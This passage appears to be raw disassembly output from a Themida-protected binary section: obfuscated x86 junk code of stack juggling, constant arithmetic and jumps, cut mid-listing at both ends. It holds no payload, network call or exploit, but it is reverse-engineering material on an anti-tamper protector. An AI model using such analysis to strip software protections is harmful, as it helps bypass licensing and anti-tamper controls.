pop eax
add bh, 0D7h
sub bh, 4
jmp loc_598524
; ---------------------------------------------------------------------------
loc_59DEC6: ; CODE XREF: Themida_:005A0F8Aj
pop edx
mov ecx, [esp]
add esp, 4
mov dl, 2Fh
shl dl, 3
xor dl, 3Bh
jmp loc_598C1E
; ---------------------------------------------------------------------------
loc_59DEDD: ; CODE XREF: Themida_:005A344Fj
mov [esp], ecx
sub esp, 4
jmp loc_59C182
; ---------------------------------------------------------------------------
loc_59DEE8: ; CODE XREF: Themida_:0059A57Dj
mov [esp], ebx
jmp loc_59CBF5
; ---------------------------------------------------------------------------
loc_59DEF0: ; CODE XREF: Themida_:005951E3j
mov eax, 15A766Ch
sub esi, eax
pop eax
jmp loc_595F45
; ---------------------------------------------------------------------------
loc_59DEFD: ; CODE XREF: Themida_:00599CDCj
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DF0F: ; CODE XREF: Themida_:005938A6j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_5A3BC9
; ---------------------------------------------------------------------------
loc_59DF26: ; CODE XREF: Themida_:00590A3Fj
mov edi, [esp]
jmp loc_5A4980
; ---------------------------------------------------------------------------
loc_59DF2E: ; CODE XREF: Themida_:005A1FF1j
add esp, 4
jmp loc_5A05DF
; ---------------------------------------------------------------------------
loc_59DF36: ; CODE XREF: Themida_:00594429j
pop ebp
add eax, 2
xchg eax, [esp]
jmp loc_5921CF
; ---------------------------------------------------------------------------
loc_59DF42: ; CODE XREF: Themida_:005A00CCj
and eax, ebp
pop ebp
inc eax
sub eax, 0E0000861h
sub ecx, eax
pop eax
push 7D3Eh
mov [esp], esi
mov esi, ecx
mov edx, esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
and ecx, edx
pop edx
shr ecx, 6
sub esp, 4
mov [esp], edx
push 4480h
mov [esp], ebx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_5A3E88
; ---------------------------------------------------------------------------
loc_59DF96: ; CODE XREF: Themida_:0059727Aj
add esp, 4
jmp loc_59D175
; ---------------------------------------------------------------------------
loc_59DFA1: ; CODE XREF: Themida_:0059C385j
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_598EB6
; ---------------------------------------------------------------------------
loc_59DFB6: ; CODE XREF: Themida_:0059E5D3j
push 5D02h
mov [esp], edx
jmp loc_59299C
; ---------------------------------------------------------------------------
loc_59DFC3: ; CODE XREF: Themida_:0059630Dj
pop esi
jmp loc_5978C4
; ---------------------------------------------------------------------------
loc_59DFC9: ; CODE XREF: Themida_:0059C47Cj
sub edi, esi
add edi, 0E2F1E29h
pop esi
or edi, 22B75A7Bh
dec edi
sub edi, 0E784D32Bh
sub ebx, edi
pop edi
not ebx
shl ebx, 2
shr ebx, 8
sub esp, 4
jmp loc_592B05
; ---------------------------------------------------------------------------
loc_59DFF2: ; CODE XREF: Themida_:0059C65Ej
and ebx, 24859C0h
or ebx, 0FA03CC2h
xor ebx, 20AC71DCh
or ebx, 38E478D6h
add ebx, 3EB1BDF4h
sub edi, 315919EEh
sub edi, ebx
add edi, 315919EEh
pop ebx
neg edi
shl edi, 5
jmp loc_5A52FC
; ---------------------------------------------------------------------------
loc_59E029: ; CODE XREF: Themida_:00597D7Cj
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edi
mov edi, 76310459h
sub edi, 6E8C2C77h
or edi, 620102B1h
shr edi, 5
not edi
neg edi
push eax
mov eax, 4BB4E2E4h
add edi, eax
mov eax, [esp]
add esp, 4
and esi, edi
jmp loc_593429
; ---------------------------------------------------------------------------
loc_59E069: ; CODE XREF: Themida_:005943D3j
mov [esp], edi
mov edi, 166772A4h
push edx
mov edx, edi
jmp loc_59A4C8
; ---------------------------------------------------------------------------
loc_59E079: ; CODE XREF: Themida_:00590608j
add dh, cl
jmp loc_5939D7
; ---------------------------------------------------------------------------
loc_59E080: ; CODE XREF: Themida_:0059F903j
mov [esp], ecx
mov cl, 0A6h
jmp loc_5999ED
; ---------------------------------------------------------------------------
loc_59E08A: ; CODE XREF: Themida_:00598A6Aj
pop ecx
sub dword ptr [esp+4], 2B136B35h
add [esp+4], edx
add dword ptr [esp+4], 2B136B35h
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59E0AE: ; CODE XREF: Themida_:005A3655j
xor edi, ebp
mov ebp, [esp]
add esp, 4
push edi
mov eax, [esp]
add esp, 4
jmp loc_59E2E9
; ---------------------------------------------------------------------------
loc_59E0C2: ; CODE XREF: Themida_:005A3FE6j
sub esi, 22614264h
add esi, ecx
add esi, 22614264h
pop ecx
jmp loc_59A74E
; ---------------------------------------------------------------------------
loc_59E0D6: ; CODE XREF: Themida_:005A02C0j
shr edi, 6
add edi, 44DB3182h
jmp loc_5970AE
; ---------------------------------------------------------------------------
loc_59E0E4: ; CODE XREF: Themida_:0059FDF7j
add dword ptr [esp], 6761369Ch
pop ebp
sub ebp, 6761369Ch
mov ebx, [esp]
push esi
jmp loc_5A3B4C
; ---------------------------------------------------------------------------
loc_59E0FB: ; CODE XREF: Themida_:005A4F96j
add esi, 4
push esi
jmp loc_59447C
; ---------------------------------------------------------------------------
loc_59E107: ; CODE XREF: Themida_:0059B4DBj
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push 3883h
mov [esp], ecx
sub esp, 4
mov [esp], esi
push 4E9948AEh
pop esi
jmp loc_5A14FB
; ---------------------------------------------------------------------------
loc_59E132: ; CODE XREF: Themida_:0059FA35j
add bl, 75h
pop ecx
sub al, bl
pop ebx
pop ebx
push ebx
jmp loc_59A1CC
; ---------------------------------------------------------------------------
loc_59E140: ; CODE XREF: Themida_:0059A4BDj
mov [esp], eax
push ebp
push ecx
jmp loc_5A3EFE
; ---------------------------------------------------------------------------
loc_59E14A: ; CODE XREF: Themida_:0059AC33j
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 4
jmp loc_5977FF
; ---------------------------------------------------------------------------
loc_59E15D: ; CODE XREF: Themida_:005A0CADj
mov edx, esp
jmp loc_596D59
; ---------------------------------------------------------------------------
loc_59E164: ; CODE XREF: Themida_:00594A2Fj
mov ecx, 5F86873h
xor ebp, ecx
pop ecx
add ebp, 8372F2DDh
sub eax, 53223C59h
jmp loc_595A9A
; ---------------------------------------------------------------------------
loc_59E17C: ; CODE XREF: Themida_:0059284Aj
shl dl, 1
neg dl
sub dl, 3Ch
xor cl, dl
push dword ptr [esp]
pop edx
jmp loc_590A9F
; ---------------------------------------------------------------------------
loc_59E18E: ; CODE XREF: Themida_:005A4E88j
sub edi, 595675DAh
jmp loc_59DE73
; ---------------------------------------------------------------------------
loc_59E199: ; CODE XREF: Themida_:005A08D5j
mov esp, [esp]
mov [esp], eax
push esp
pop eax
jmp loc_593A27
; ---------------------------------------------------------------------------
loc_59E1A6: ; CODE XREF: Themida_:0059CAE3j
push ebx
jmp loc_5A2051
; ---------------------------------------------------------------------------
loc_59E1AC: ; CODE XREF: Themida_:00599375j
add ebp, edi
add ebp, 7A45758h
pop edi
push ebx
push edi
mov edi, 653D6715h
shr edi, 7
and edi, 9621CAh
not edi
jmp loc_593E0D
; ---------------------------------------------------------------------------
loc_59E1CC: ; CODE XREF: Themida_:00590A9Aj
add esi, 7EC82DE9h
add esi, ecx
sub esi, 7EC82DE9h
mov ecx, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
jmp loc_5983EC
; ---------------------------------------------------------------------------
loc_59E1EE: ; CODE XREF: Themida_:005903D7j
push ecx
push ebx
mov bh, ah
mov cl, bh
pop ebx
jmp loc_59E31B
; ---------------------------------------------------------------------------
loc_59E1FA: ; CODE XREF: Themida_:005A3D91j
xor esi, 2A285E4Ah
jmp loc_59ECA2
; ---------------------------------------------------------------------------
loc_59E205: ; CODE XREF: Themida_:0059BFD6j
mov eax, 1B2D332Bh
xor eax, 41B64D7Bh
or eax, 19C87B52h
sub eax, 60B95ACAh
sub eax, 0D6B4ACE7h
add edx, eax
pop eax
jmp loc_5938F9
; ---------------------------------------------------------------------------
loc_59E226: ; CODE XREF: Themida_:005905D8j
pop esi
xchg ecx, [esp]
jmp loc_5943B4
; ---------------------------------------------------------------------------
loc_59E22F: ; CODE XREF: Themida_:00590B64j
xchg edi, [esp]
pop esp
push 5B5Dh
mov [esp], ebp
jmp loc_596324
; ---------------------------------------------------------------------------
loc_59E240: ; CODE XREF: Themida_:005A573Dj
mov [esp], eax
jmp loc_595C84
; ---------------------------------------------------------------------------
loc_59E248: ; CODE XREF: Themida_:005924B9j
mov [esp], ebx
mov ebx, 49B65AA4h
not ebx
push edx
push ebx
mov ebx, 6743407h
mov edx, ebx
pop ebx
sub esp, 4
mov [esp], ecx
jmp loc_59A7AE
; ---------------------------------------------------------------------------
loc_59E26A: ; CODE XREF: Themida_:005A1AE8j
mov ebp, esp
push ebx
mov ebx, 40D90A74h
shl ebx, 4
jmp loc_594940
; ---------------------------------------------------------------------------
loc_59E27A: ; CODE XREF: Themida_:00591117j
add ah, 12h
add dl, ah
jmp loc_5A1348
; ---------------------------------------------------------------------------
loc_59E284: ; CODE XREF: Themida_:005961A8j
sub esi, 7CA5606Ch
jmp loc_596F27
; ---------------------------------------------------------------------------
loc_59E28F: ; CODE XREF: Themida_:005993D7j
xor ebx, ebp
pop ebp
and edi, ebx
pop ebx
jmp loc_59F3ED
; ---------------------------------------------------------------------------
loc_59E29A: ; CODE XREF: Themida_:00596C5Cj
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_59411C
; ---------------------------------------------------------------------------
loc_59E2AB: ; CODE XREF: Themida_:005A2482j
xor ecx, 4D812C7Dh
add ecx, 646CEDEEh
sub edx, 5D330264h
jmp loc_5962CC
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_599962
; ---------------------------------------------------------------------------
loc_59E2E0: ; CODE XREF: Themida_:0059935Cj
mov al, 2Dh
not al
jmp loc_5A0D61
; ---------------------------------------------------------------------------
loc_59E2E9: ; CODE XREF: Themida_:0059E0BDj
pop edi
not eax
add eax, 1
not eax
jmp loc_5A1EB2
; ---------------------------------------------------------------------------
loc_59E2F8: ; CODE XREF: Themida_:0059C6D2j
push 4E3C5E5Bh
pop edx
inc edx
push ebx
mov ebx, 55287B23h
xor ebx, 24AF025Eh
jmp loc_5A0377
; ---------------------------------------------------------------------------
loc_59E310: ; CODE XREF: Themida_:005904D1j
or ebx, 6711785Fh
jmp loc_5971D8
; ---------------------------------------------------------------------------
loc_59E31B: ; CODE XREF: Themida_:0059E1F5j
mov bl, cl
jmp loc_598E9E
; ---------------------------------------------------------------------------
loc_59E322: ; CODE XREF: Themida_:005980E6j
push esp
pop esi
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_5A200A
; ---------------------------------------------------------------------------
loc_59E338: ; CODE XREF: Themida_:005A1B4Ej
xchg ebp, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59E349: ; CODE XREF: Themida_:00594754j
add bl, 5Ah
sub bl, 0C1h
mov ecx, [esp]
add esp, 4
sub bl, al
sub bl, 0A1h
movzx eax, al
push dword ptr [edi+eax*4]
mov eax, [esp]
push edi
push esp
push dword ptr [esp]
jmp loc_59E6D0
; ---------------------------------------------------------------------------
loc_59E370: ; CODE XREF: Themida_:00592A57j
push 3FF5h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor [esp+4], ebx
pop ebx
push dword ptr [esp]
pop ebx
jmp loc_5A411A
; ---------------------------------------------------------------------------
loc_59E398: ; CODE XREF: Themida_:0059EDCEj
add esp, 4
pop dword ptr [esp]
jmp loc_59FDBB
; ---------------------------------------------------------------------------
loc_59E3A6: ; CODE XREF: Themida_:005A0CC3j
neg eax
not eax
sub eax, 0A613290h
sub eax, 687A7390h
add eax, 10E203CBh
xor ebp, eax
jmp loc_591D3E
; ---------------------------------------------------------------------------
loc_59E3C0: ; CODE XREF: Themida_:0059D815j
push ebp
push esp
jmp loc_5A14C9
; ---------------------------------------------------------------------------
loc_59E3C7: ; CODE XREF: Themida_:0059ECD3j
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
jmp loc_5A2378
; ---------------------------------------------------------------------------
loc_59E3DD: ; CODE XREF: Themida_:005987E1j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_59B385
; ---------------------------------------------------------------------------
loc_59E3F4: ; CODE XREF: Themida_:005944ADj
sub esp, 4
mov [esp], eax
push 7F38h
mov [esp], edx
mov edx, 4
jmp loc_5934CB
; ---------------------------------------------------------------------------
loc_59E40C: ; CODE XREF: Themida_:005986C2j
or ebp, 0F592D5Ah
jmp loc_5983D4
; ---------------------------------------------------------------------------
loc_59E417: ; CODE XREF: Themida_:005952A6j
pop edx
xor esi, [esp]
jmp loc_5931AB
; ---------------------------------------------------------------------------
loc_59E420: ; CODE XREF: Themida_:005981BFj
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_5909A1
; ---------------------------------------------------------------------------
loc_59E42A: ; CODE XREF: Themida_:0059FB28j
sub ebx, 8857C50Ch
add ebp, 785B560Dh
add ebp, ebx
push edi
push 785B560Dh
pop edi
sub ebp, edi
mov edi, [esp]
add esp, 4
pop ebx
push 6294h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5996E5
; ---------------------------------------------------------------------------
loc_59E460: ; CODE XREF: Themida_:00590F23j
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_59C766
; ---------------------------------------------------------------------------
loc_59E46C: ; CODE XREF: Themida_:0059A6C7j
pop dword ptr [esp]
push dword ptr [esp]
jmp loc_59E704
; ---------------------------------------------------------------------------
loc_59E477: ; CODE XREF: Themida_:0059A228j
push eax
jmp loc_5A48FE
; ---------------------------------------------------------------------------
loc_59E47D: ; CODE XREF: Themida_:00594CAFj
mov edi, 1DA864ECh
mov ebp, 90C4B009h
jmp loc_595412
; ---------------------------------------------------------------------------
loc_59E48C: ; CODE XREF: Themida_:00593145j
push edi
mov edi, 17CC013Eh
jmp loc_59A146
; ---------------------------------------------------------------------------
loc_59E497: ; CODE XREF: Themida_:005A24EDj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59872F
; ---------------------------------------------------------------------------
loc_59E4A5: ; CODE XREF: Themida_:005A2BBEj
not ebp
neg ebp
add ebp, 2A445D2Ah
xor ebp, 54D4991Ch
mov esi, ebp
pop ebp
not esi
shr esi, 8
jmp loc_596E13
; ---------------------------------------------------------------------------
loc_59E4C2: ; CODE XREF: Themida_:005A3A59j
mov edi, 0C3341CAh
jmp loc_5990C9
; ---------------------------------------------------------------------------
loc_59E4CC: ; CODE XREF: Themida_:0059B5A5j
push small 5A2Dh
pop si
and si, 70Ah
jmp loc_59E798
; ---------------------------------------------------------------------------
loc_59E4DC: ; CODE XREF: Themida_:005A2960j
add esp, 4
shl edx, 5
jmp loc_59D615
; ---------------------------------------------------------------------------
loc_59E4E7: ; CODE XREF: Themida_:0059D414j
pop esp
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
push 2642h
mov [esp], esi
mov esi, esp
add esi, 4
push 2A72h
mov [esp], ecx
mov ecx, 4
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
jmp loc_5A23E4
; ---------------------------------------------------------------------------
loc_59E524: ; CODE XREF: Themida_:00597C15j
mov esi, 50E4616Ah
shr esi, 7
push eax
mov eax, 0FF5E3742h
add esi, eax
pop eax
jmp loc_59954E
; ---------------------------------------------------------------------------
loc_59E53A: ; CODE XREF: Themida_:005A2A31j
push ecx
mov ecx, 56AB72FAh
jmp loc_5976D4
; ---------------------------------------------------------------------------
loc_59E545: ; CODE XREF: Themida_:0059EAB9j
pop ebp
push 4AAFh
mov [esp], edx
jmp loc_59C46C
; ---------------------------------------------------------------------------
loc_59E553: ; CODE XREF: Themida_:005A0FB9j
and ebp, 3A8F28E2h
sub ebp, 9616D9h
jmp loc_595180
; ---------------------------------------------------------------------------
loc_59E564: ; CODE XREF: Themida_:005906AFj
mov [esp], esi
push esp
jmp loc_59E807
; ---------------------------------------------------------------------------
loc_59E56D: ; CODE XREF: Themida_:005A2987j
mov ecx, 4AC101E3h
mov esi, ecx
pop ecx
sub esi, 5F15CE2h
jmp loc_59841B
; ---------------------------------------------------------------------------
loc_59E580: ; CODE XREF: Themida_:0059D894j
add esi, eax
sub esi, 3E20635Ch
sub esi, 5C5B2E0Ch
mov eax, [esp]
jmp loc_5A37E2
; ---------------------------------------------------------------------------
loc_59E596: ; CODE XREF: Themida_:005A1B6Aj
sub dword ptr [esp], 7515752h
jmp loc_5A1DC0
; ---------------------------------------------------------------------------
loc_59E5A2: ; CODE XREF: Themida_:005A53AFj
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 2BABh
mov [esp], ebx
push 4CEEh
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov bl, 0AFh
jmp loc_59DFB6
; ---------------------------------------------------------------------------
loc_59E5D8: ; CODE XREF: Themida_:00594F0Cj
mov esp, [esp]
mov cx, [esp]
push 11E7h
mov [esp], ecx
push 41CEh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
push eax
mov eax, 4
add ecx, eax
jmp loc_59088F
; ---------------------------------------------------------------------------
loc_59E607: ; CODE XREF: Themida_:005916B8j
xchg ebp, [esp]
pop esp
mov [esp], esi
push edi
push 2CCD1976h
pop edi
add edi, 7BFA1732h
shr edi, 2
shr edi, 8
push esi
push eax
mov eax, 4BD0117Bh
mov esi, eax
pop eax
add esi, 639C4A58h
shr esi, 7
inc esi
and esi, 46347AB8h
add esi, 15D910h
jmp loc_59BA68
; ---------------------------------------------------------------------------
loc_59E646: ; CODE XREF: Themida_:00591904j
mov [esp], esi
push 1
push dword ptr [esp]
pop esi
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 24h
jmp loc_5A4F54
; ---------------------------------------------------------------------------
loc_59E668: ; CODE XREF: Themida_:0059631Fj
pop ebp
add ecx, edi
jmp loc_59B2AA
; ---------------------------------------------------------------------------
loc_59E670: ; CODE XREF: Themida_:005A2BB3j
push eax
mov eax, 6F6F5691h
sub edi, eax
mov eax, [esp]
add esp, 4
jmp loc_59CD99
; ---------------------------------------------------------------------------
loc_59E686: ; CODE XREF: Themida_:005993FCj
sub ebx, 65273994h
sub ebx, 70041FDBh
sub ebx, 1894691h
jmp loc_591887
; ---------------------------------------------------------------------------
loc_59E69D: ; CODE XREF: Themida_:00598F81j
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edx
jmp loc_595510
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_59AD74
; ---------------------------------------------------------------------------
loc_59E6BE: ; CODE XREF: Themida_:0059ED72j
xor [esp], ecx
xor ecx, [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_5989A8
; ---------------------------------------------------------------------------
loc_59E6D0: ; CODE XREF: Themida_:0059E36Bj
pop edi
add esp, 4
jmp loc_5920B5
; ---------------------------------------------------------------------------
loc_59E6DC: ; CODE XREF: Themida_:005983E7j
and edx, 2F52070Ch
sub esp, 4
mov [esp], ecx
jmp loc_59EFD2
; ---------------------------------------------------------------------------
loc_59E6F0: ; CODE XREF: Themida_:00596760j
sub ebp, esi
mov esi, [esp]
add esp, 4
push edi
mov edi, ebp
mov eax, edi
pop edi
pop ebp
jmp loc_5A0904
; ---------------------------------------------------------------------------
loc_59E704: ; CODE XREF: Themida_:0059E472j
pop esi
add esp, 4
push ebx
mov ebx, esp
push esi
mov esi, 379D08C0h
jmp loc_59F7C9
; ---------------------------------------------------------------------------
loc_59E716: ; CODE XREF: Themida_:005A1A48j
mov edx, eax
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_596790
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
push edx
push ebx
sub esp, 4
mov [esp], esi
mov esi, 2A2066EBh
sub esi, 5B8F57B1h
push ebp
jmp loc_5999A3
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_59C3EB
push 1B30h
mov [esp], edx
jmp loc_5994AF
; ---------------------------------------------------------------------------
loc_59E76A: ; CODE XREF: Themida_:0059770Bj
xor [esp], eax
xor eax, [esp]
pop esp
push 7B01h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
jmp loc_596F6D
; ---------------------------------------------------------------------------
loc_59E798: ; CODE XREF: Themida_:0059E4D7j
or si, 447h
xor si, 3983h
push 1646h
mov [esp], edx
mov dx, si
mov di, dx
pop edx
jmp loc_5A1151
; ---------------------------------------------------------------------------
loc_59E7B6: ; CODE XREF: Themida_:00592FE1j
pop eax
add esi, 2
push 0D11h
mov [esp], esi
push dword ptr [esp+4]
jmp loc_595B6C
; ---------------------------------------------------------------------------
loc_59E7CE: ; CODE XREF: Themida_:00591E04j
mov ebx, 2
add edx, ebx
jmp loc_59FE1D
; ---------------------------------------------------------------------------
loc_59E7DA: ; CODE XREF: Themida_:005A10F5j
mov ebx, esp
add ebx, 4
jmp loc_594F6D
; ---------------------------------------------------------------------------
loc_59E7E7: ; CODE XREF: Themida_:005977FAj
mov dx, 2A4Ah
jmp loc_5975BA
; ---------------------------------------------------------------------------
loc_59E7F0: ; CODE XREF: Themida_:0059852Cj
push eax
mov ah, 18h
add bh, ah
jmp loc_59F85E
; ---------------------------------------------------------------------------
loc_59E7FA: ; CODE XREF: Themida_:005947C8j
sub ebx, 694505C2h
add ebx, esi
jmp loc_59B22D
; ---------------------------------------------------------------------------
loc_59E807: ; CODE XREF: Themida_:0059E568j
pop esi
add esi, 4
push edx
jmp loc_59393D
; ---------------------------------------------------------------------------
loc_59E814: ; CODE XREF: Themida_:005A0EDFj
add ebp, 0D6CBD33Bh
push ebp
pop eax
push dword ptr [esp]
jmp loc_5908DF
; ---------------------------------------------------------------------------
loc_59E824: ; CODE XREF: Themida_:005A269Cj
mov [esp], ecx
push 713E1768h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub ecx, 1FA579F9h
sub ecx, 4F7A5454h
push edx
jmp loc_5973B7
; ---------------------------------------------------------------------------
loc_59E851: ; CODE XREF: Themida_:00595155j
mov ecx, 68716ADBh
add [esp+4], ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A27D9
; ---------------------------------------------------------------------------
loc_59E86F: ; CODE XREF: Themida_:005A20D4j
add esp, 4
pop ecx
jmp loc_598DDA
; ---------------------------------------------------------------------------
loc_59E878: ; CODE XREF: Themida_:005A10A2j
mov esi, 5C8FE6B7h
add edx, esi
pop esi
add edi, edx
pop edx
pop ebp
push ebx
push esi
mov esi, 3E786EA3h
push esi
pop ebx
pop esi
add ebx, 18197D42h
not ebx
neg ebx
not ebx
push edx
jmp loc_59CCBB
; ---------------------------------------------------------------------------
loc_59E8A0: ; CODE XREF: Themida_:00593D35j
pop esp
pop dword ptr [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
push edi
push 7FF8793Bh
pop edi
shl edi, 2
sub edi, 0FFE1E4E8h
add ecx, edi
jmp loc_5995BF
; ---------------------------------------------------------------------------
loc_59E8C5: ; CODE XREF: Themida_:0059EB41j
xchg ecx, [esp]
pop esp
jmp loc_5A4908
; ---------------------------------------------------------------------------
loc_59E8CE: ; CODE XREF: Themida_:005A1E2Aj
mov dh, 0Dh
sub al, dh
mov dx, [esp]
push 5229h
jmp loc_59B18A
; ---------------------------------------------------------------------------
loc_59E8E0: ; CODE XREF: Themida_:0059487Bj
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
push ebp
mov ebp, 42111BE3h
jmp loc_5A23D1
; ---------------------------------------------------------------------------
loc_59E901: ; CODE XREF: Themida_:00591256j
mov [esp], ebp
mov ebp, 61622B45h
add ebp, 7A5705DAh
or ebp, 5F8427E7h
jmp loc_5A1EA2
; ---------------------------------------------------------------------------
loc_59E91A: ; CODE XREF: Themida_:005A0B17j
pop edx
mov ecx, [esp]
add esp, 4
mov ch, bh
push dword ptr [esp]
pop ebx
jmp loc_59ED77
; ---------------------------------------------------------------------------
loc_59E92F: ; CODE XREF: Themida_:0059ED89j
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
push esp
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebx
push esi
mov esi, esp
push ebx
mov ebx, 4
add esi, ebx
pop ebx
sub esi, 4
xchg esi, [esp]
jmp loc_5A0029
; ---------------------------------------------------------------------------
loc_59E98D: ; CODE XREF: Themida_:00593ECDj
mov esi, 45B93C1Ah
jmp loc_593212
; ---------------------------------------------------------------------------
loc_59E997: ; CODE XREF: Themida_:0059FE30j
add bh, 80h
sub al, bh
pop ebx
sub al, 7Dh
sub al, bl
add al, 7Dh
add al, 9Ch
mov bx, [esp]
jmp loc_5A287F
; ---------------------------------------------------------------------------
loc_59E9AE: ; CODE XREF: Themida_:00596D2Dj
add esp, 4
jmp loc_598889
; ---------------------------------------------------------------------------
loc_59E9B6: ; CODE XREF: Themida_:005937C9j
mov ecx, 0ADE3F58h
mov edi, 415DEBBCh
add edi, ecx
pop ecx
push ecx
mov ecx, 4C3C2B15h
sub edi, ecx
pop ecx
push edx
jmp loc_59C09A
; ---------------------------------------------------------------------------
loc_59E9D2: ; CODE XREF: Themida_:0059C99Fj
add eax, 8140D429h
sub ecx, 2C9B2AFFh
sub ecx, 19DB4E09h
add ecx, 1D7C16B6h
add ecx, eax
sub ecx, 1D7C16B6h
add ecx, 19DB4E09h
push edx
mov edx, 62175960h
inc edx
add edx, 5F304C24h
sub edx, 94AC7A86h
add ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5922BB
; ---------------------------------------------------------------------------
loc_59EA1A: ; CODE XREF: Themida_:00591BAAj
and edi, 2B572F4Bh
add edi, 0D5FDF702h
add esi, edi
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_5A3072
; ---------------------------------------------------------------------------
loc_59EA3A: ; CODE XREF: Themida_:0059572Fj
mov eax, esp
jmp loc_59875D
; ---------------------------------------------------------------------------
loc_59EA41: ; CODE XREF: Themida_:005952BAj
sub esp, 4
jmp loc_591330
; ---------------------------------------------------------------------------
loc_59EA4C: ; CODE XREF: Themida_:0059C4B9j
mov eax, esp
add eax, 4
push esi
push esi
mov esi, esp
jmp loc_5A113D
; ---------------------------------------------------------------------------
loc_59EA5C: ; CODE XREF: Themida_:005A38B7j
sub ebp, edi
jmp loc_598775
; ---------------------------------------------------------------------------
loc_59EA63: ; CODE XREF: Themida_:00594AD4j
sub esp, 4
mov [esp], ebp
mov ebp, 4
add ecx, ebp
jmp loc_59A52B
; ---------------------------------------------------------------------------
loc_59EA78: ; CODE XREF: Themida_:0059AEBEj
pop esp
jmp loc_59667D
; ---------------------------------------------------------------------------
loc_59EA7E: ; CODE XREF: Themida_:00590D0Aj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_59051F
; ---------------------------------------------------------------------------
loc_59EA8E: ; CODE XREF: Themida_:0059B47Cj
add edx, edi
push esi
push eax
push 75D961B8h
jmp loc_599028
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_59486F
; ---------------------------------------------------------------------------
loc_59EAA8: ; CODE XREF: Themida_:0059B20Dj
push ebx
mov ebx, 4
add edx, ebx
pop ebx
push ebp
mov ebp, 2
add edx, ebp
jmp loc_59E545
; ---------------------------------------------------------------------------
loc_59EABE: ; CODE XREF: Themida_:005A4005j
mov cl, bh
pop ebx
and cl, 0C1h
xor cl, 66h
and cl, 0BCh
jmp loc_593CEB
; ---------------------------------------------------------------------------
loc_59EACF: ; CODE XREF: Themida_:005990CCj
inc edi
or edi, 179A5A86h
dec edi
push edx
mov edx, 11A2697Fh
and edi, edx
pop edx
jmp loc_5A24A0
; ---------------------------------------------------------------------------
loc_59EAE5: ; CODE XREF: Themida_:00597DCDj
mov [esp], eax
mov ah, 6Ch
add ah, 9Dh
xor bh, ah
pop eax
jmp loc_597F15
; ---------------------------------------------------------------------------
loc_59EAF5: ; CODE XREF: Themida_:00598CFAj
add edx, eax
jmp loc_5930D6
; ---------------------------------------------------------------------------
loc_59EAFC: ; CODE XREF: Themida_:00591A75j
shr ecx, 2
sub ecx, 68344ACBh
shl ecx, 7
jmp loc_594507
; ---------------------------------------------------------------------------
loc_59EB0D: ; CODE XREF: Themida_:0059431Bj
sub ecx, 0D1E0F6A9h
jmp loc_59B873
; ---------------------------------------------------------------------------
loc_59EB18: ; CODE XREF: Themida_:005A434Aj
push edx
